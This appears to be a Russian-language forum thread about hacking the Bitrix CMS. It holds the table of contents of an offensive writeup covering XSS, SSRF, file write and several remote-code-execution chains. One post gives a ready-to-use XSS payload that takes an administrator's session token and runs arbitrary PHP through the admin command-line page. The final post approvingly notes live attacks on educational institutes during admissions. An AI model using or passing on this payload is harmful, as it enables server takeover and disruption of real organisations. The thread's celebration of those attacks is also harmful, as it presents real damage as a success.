Code: • Отказ от ответственности • Предисловие • Введение 1. Особенности 1.1. Разнообразие версий 1.2. Встроенный WAF 1.3. CSRF токены 1.4. Множественные эндпоинты для авторизации 1.4.1. Standalone скрипты 1.4.2. 404 Not Found 1.5. Многосайтовость 1.6. Многороутерность 1.7. Remeberme куки 1.8. Register Globals 1.9. Лицензионные ключи 1.10. Ключ подписи данных 1.11. Интересные системные директории 1.12. RCE by design 2. Уязвимости 2.1. Full Path Disclosure 2.2. Content Spoofing ( mobileapp.list ) 2.3. Content Spoofing ( pg.php ) 2.4. Content Spoofing ( rest.marketplace.detail ) 2.5. Account Enumeration ( UIDH ) 2.6. Open Redirect ( LocalRedirect ) 2.7. Reflected XSS ( map.google.view ) 2.8. Reflected XSS ( photogallery_user ) 2.9. Server-Side Request Forgery ( main.urlpreview ) 2.10. Server-Side Request Forgery ( html_editor_action.php ) 2.11. Local File Disclosure / Include ( virtual_file_system.php ) 2.12. Arbitrary Object Instantiation ( vote/uf.php ) 2.13. Arbitrary File Write ( html_editor_action.php ) 3. Методы атак 3.1. RCE via PHP Object Injection ( html_editor_action.php ) 3.1.1. Gadget chain 3.1.2. Обход "фикса" 3.2. RCE via SQL Injection ( UIDH ) 3.3. RCE via PHP Object Injection ( signer_default_key ) 3.4. RCE via PHP Object Injection ( site_checker.php ) • Послесловие • Ссылки https://github.com/cr1f/writeups/blob/main/attacking_bitrix.pdf
Удивил, в очередной раз. Даже не ресерчами, к ним уже привыкли, а что хватило терпения оформить это по красоте. Большой труд, отличная работа. Но боюсь представить какого цвета у тебя глаза, после всего этого. Наверное даже не красные, а темно лиловые. А может просто уставшие, но довольные.
Полезная нагрузка, для выполнения произвольного PHP кода, через XSS, при атаке на администратора CMS Bitrix. HTML: <script> xhr = new XMLHttpRequest(); xhr.withCredentials = true; xhr.open('GET', '/bitrix/tools/composite_data.php', false); xhr.onreadystatechange = function() { if(xhr.readyState == XMLHttpRequest.DONE){ match = xhr.responseText.match(/'bitrix_sessid':'(.+?)'/); sessId = match[1]; } }; xhr.send(); xhr.open('POST', '/bitrix/admin/php_command_line.php?lang=ru&sessid='+sessId, false); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send("query=phpinfo()%3B&result_as_text=y&ajax=y"); </script>
На этой неделе пошли атаки на институты. Горячая пора - приемная комиссия, а тут такая жопа. Админы воют. Видимо мануал зашел в тему.